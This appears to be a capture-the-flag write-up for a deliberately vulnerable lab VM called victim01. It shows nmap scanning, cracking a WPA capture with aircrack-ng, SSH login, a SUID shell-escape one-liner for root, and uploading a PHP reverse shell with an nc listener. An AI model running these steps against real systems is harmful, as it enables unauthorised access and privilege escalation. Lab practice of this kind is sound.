Let’s take down victim01


Pwned Machine IP Address:
My Machine IP Address:


To gain access to root and read the flag file Flag.txt.


You can download the machine from here.


Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0

nmap -sC -sV -p- -o nmap.log

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

8080/tcp open http BusyBox httpd 1.13

8999/tcp open http WebFS httpd 1.21

9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)

Let’s download WPA-01.cap

Let’s run the packet in wireshark

wireshark WPA-01.cap &

I tried my best to dive into the cap file, I was not able to get any anything concrete. Based on our previous machine that we did, I am having a hunch that we will get a username and a password out of this.

Although it shows many connected devices to the router (dlink), only dlink did work as a username. You might be wondering how I got the password?  You might know if you have read this post.

Yeah I did run aircrack-ng on the CAP file with rockyou file.

aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt

Yes, the password is p4ssword

ssh dlink@        password: p4ssword

I made it a habit that as soon as I get a limited (or user shell), I do manually check all the low hanging fruits.

Such as

sudo -l

cat ~/.viminfo

crontab -l


find / -perm -u=s -type f 2>/dev/null

find / -perm 0777 -type f 2>/dev/null

find / -writable -type d 2>/dev/null

to name a few. If I don’t find anything then I use linpeas.sh and other scripts, by uploading those to /tmp folder of that limited user account.

We found something interesting.


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nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"

yeah, we got the flag..

Method 2:

To check writeable directory

find / -writable -type d 2>/dev/null 

/var/www/bolt/public/files  it has the 777 permissions

If you have carefully read the output from nmap, you might have seen that the server is running PHP cli server. That means we can upload a php reverse shell.

Let’s do that..

On Kali Machine

I have downloaded and stored my shells and other tools at /opt

python -m SimpleHTTPServer 8000

On Victim01 Machine

cd /var/www/bolt/public/files/


chmod +x php-reverse-shell.php

And also change the IP address and Port of your choice. Mine IP: Port:1234

Let’s set up an nc setup on Kali Machine to receive a reverse connection from the Victim01 machine.


I tried to execute the PHP shell on the victim machine to get the reverse connection and I get a limited shell. However, when I try to view the PHP shell through the browser, I got a shell with root privilege. To be honest, I don’t know what is the primary reason behind it and I think I will need to explore more on this. However, I am gonna keep this in mind while I do shelling other boxes in the future.

yes, another way to get root!

That’s all guys 🙂

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